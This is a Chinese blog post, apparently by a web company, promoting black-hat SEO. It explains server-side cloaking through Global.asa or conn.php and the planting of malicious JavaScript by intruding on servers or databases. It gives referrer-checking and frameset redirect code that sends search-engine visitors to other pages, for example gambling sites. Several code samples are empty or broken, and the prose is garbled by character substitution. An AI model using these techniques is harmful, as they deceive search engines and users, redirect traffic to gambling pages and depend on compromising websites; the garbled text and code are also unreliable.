黑帽查找引擎优化避免网站被k的js绑架跳转代码

2018-05-01
来源:

  因为现在查找引擎关于js代码还没有办法完全辨认,因此也就出现了利用js代码跳转的黑帽办法。现在网上有关js跳转代码比比皆是,可是作为黑帽的查找引擎优化办法之一,怎么做到有用下降跳转的网站被k危险,这才是咱们需求研讨的一个方向。下面简略共享一下有关js绑架的一些代码,我了解到的仅仅皮裘,有不足之处欢迎各位同仁给予辅导。本文的重头戏将会在最终出现,请咱们耐性往下看。js绑架首要有“服务器绑架”以及“用户端绑架”两种。

“服务器绑架”

服务器绑架也称为大局绑架,以修正网站动态言语文本,判别拜访来历操控回来内容,历来到达网站绑架的意图。服务端绑架的判别办法:能够经过调查网站后端代码,或许经过改动ip,包头号方式,调查放回源码是否不同。也就是改动了每次拜访网页从服务端获取到的网页代码。

asp/aspx/php绑架

Global.asa、Global.asax、conn.asp、conn.php等文件比较特别,作用是在每次履行一个动态脚本的时分,都会先加载该脚本, 然后再履行方针脚本。所以只要在 Global.asa 中写判别用户体系信息的代码(拜访来历等),假如是蜘蛛拜访则回来关键词网页(想要推行的网站),假如是用户拜访,则回来正常页面。

黑帽查找引擎优化避免网站被k的js绑架跳转代码

“用户端绑架”

客户端绑架的办法也许多,但首要就是2种:Header绑架、js绑架。用户端绑架的判别办法:只需调查浏览器出现的网页前端代码,检查是否引用了不当的js,或许其它灵敏内容。每次拜访网页从服务端获取到的网页代码都是相同的,仅仅操控了网页代码在浏览器中出现的作用(比方是否进行跳转等)。

1,header绑架

首要作用是:利用的就是Meta Refresh Tag(自动转向),将流量引走。

能够在源代码中写入以下代码:


2,js绑架

js绑架的作用:经过向方针网页植入歹意js代码,操控网站跳转、隐藏页面内容、窗口绑架等。

js植入办法:能够经过侵略服务器,直接写入源代码中;也能够写在数据库中,因为有些页面会出现数据库内容。


js绑架案例

咱们常常看到的菠菜跳转:经过查找引擎查找点击页面(履行一段js)跳转到博彩页面;直接输入网址拜访网页,跳转到404页面。

代码:today=new Date(); today=today.getYear()+"-"+(today.getMonth()+1)+"-"+today.getDate(); var regexp=//.(sogou|so|haosou|baidu|google|youdao|yahoo|bing|gougou|118114|vnet|360|ioage|sm|sp)(/.[a-z0-9/-]+){1,2}///ig; var where =document.referer; if(regexp.test(where)){ document.write (''); } else { window.location.href="../../404.htm"; }

剖析:经过referer判别来路,假如referer来路为空就是跳转到404页面,假如是查找引擎来的referer里边也会有显现,然后在写代码操控跳转。假如仅仅操控完成显现不同的内容,能够修正php、asp代码;假如需求绑架查找引擎查找框,能够写JS代码来做浏览器本地跳转。当然js功用能够无限扩展,比方能够操控一个ip一天内**次拜访正常,其他拜访跳转等等。

黑帽查找引擎优化避免网站被k的js绑架跳转代码

较有用的防k站js代码

怎么有用避免或许延伸网站被k的js代码,就现在来说,个人觉得仍是一个比较可行的办法。办法是把pc端和手机端分隔写入js代码,来完成跳转。使用办法:参加一个Javascript源文件(以js为扩展名),将以下代码增加在里边,文件命名为tz,然后在网页下刺进:

网页pc端跳转

咱们都知道,咱们网站无论是整站优化仍是单个页面,当关键词排名在主页时,做黑帽办法的网站就能够考虑做跳转到方针页面了。为了获取快速排名,所以做的页面也大部分考虑给查找引擎看,应尽量做好内容的可读性和规避类似度,来满意查找引擎需求,这样关键词就会很快上主页了。之后再做一个用户体会度较好的页面,把流量天然跳转到该页面,这样也就到达意图了。

代码如下:

document.writeln("document.write(\" framespacing=\'0\'>\");");

document.writeln("document.write(\" scrolling=yes>\");");

document.writeln("document.write(\"<\/frameset>\");");

document.writeln("<\/script>");

网页手机端跳转

道理和pc端相同,我这里就不烦琐了。代码如下:


留意点

值得留意的是,为了下降被k危险,咱们做跳转页的时分尽量使主题和关键词一致,内容则以引导性为主,页面尽量优化好一点,进步用户体会度和下降跳出率,经测验此办法网站不容易被k,排名也比较稳定,当然,咱们需求根据自己的实际情况来操作。

广西网络公司

阅读525
分享
写评论...